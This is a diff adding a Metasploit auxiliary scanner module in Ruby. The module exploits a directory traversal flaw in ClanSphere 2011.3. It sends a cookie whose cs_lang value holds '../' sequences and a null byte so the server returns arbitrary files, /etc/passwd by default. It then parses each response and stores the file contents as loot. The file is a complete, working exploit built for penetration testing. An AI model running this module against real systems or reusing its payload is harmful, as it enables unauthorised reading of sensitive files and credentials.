|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + include Msf::Auxiliary::Scanner |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a directory traversal flaw found in Clansphere 2011.3. |
| 21 | + The application fails to handle the cs_lang parameter properly, which can be |
| 22 | + used to read any file outside the virtual directory. |
| 23 | + }, |
| 24 | + 'References' => |
| 25 | + [ |
| 26 | + ['OSVDB', '86720'], |
| 27 | + ['EDB', '22181'] |
| 28 | + ], |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'blkhtc0rp', #Original |
| 32 | + 'sinn3r' |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'DisclosureDate' => "Oct 23 2012" |
| 36 | + )) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']), |
| 41 | + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), |
| 42 | + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + |
| 47 | + def run_host(ip) |
| 48 | + base = target_uri.path |
| 49 | + base << '/' if base[-1,1] != '/' |
| 50 | + |
| 51 | + peer = "#{ip}:#{rport}" |
| 52 | + |
| 53 | + print_status("#{peer} - Reading '#{datastore['FILE']}'") |
| 54 | + |
| 55 | + traverse = "../" * datastore['DEPTH'] |
| 56 | + f = datastore['FILE'] |
| 57 | + f = f[1, f.length] if f =~ /^\// |
| 58 | + |
| 59 | + res = send_request_cgi({ |
| 60 | + 'method' => 'GET', |
| 61 | + 'uri' => "#{base}index.php", |
| 62 | + 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" |
| 63 | + }) |
| 64 | + |
| 65 | + if res and res.body =~ /^Fatal error\:/ |
| 66 | + print_error("Unable to read '#{datastore['FILE']}', possibily because:") |
| 67 | + print_error("\t1. File does not exist.") |
| 68 | + print_error("\t2. No permission.") |
| 69 | + print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.") |
| 70 | + |
| 71 | + elsif res and res.code == 200 |
| 72 | + pattern_end = " UTC +1 - Load:" |
| 73 | + data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip |
| 74 | + fname = datastore['FILE'] |
| 75 | + p = store_loot( |
| 76 | + 'clansphere.cms', |
| 77 | + 'application/octet-stream', |
| 78 | + ip, |
| 79 | + data, |
| 80 | + fname |
| 81 | + ) |
| 82 | + |
| 83 | + vprint_line(data) |
| 84 | + print_good("#{peer} - #{fname} stored as '#{p}'") |
| 85 | + |
| 86 | + else |
| 87 | + print_error("#{peer} - Fail to obtain file for some unknown reason") |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | +end |
0 commit comments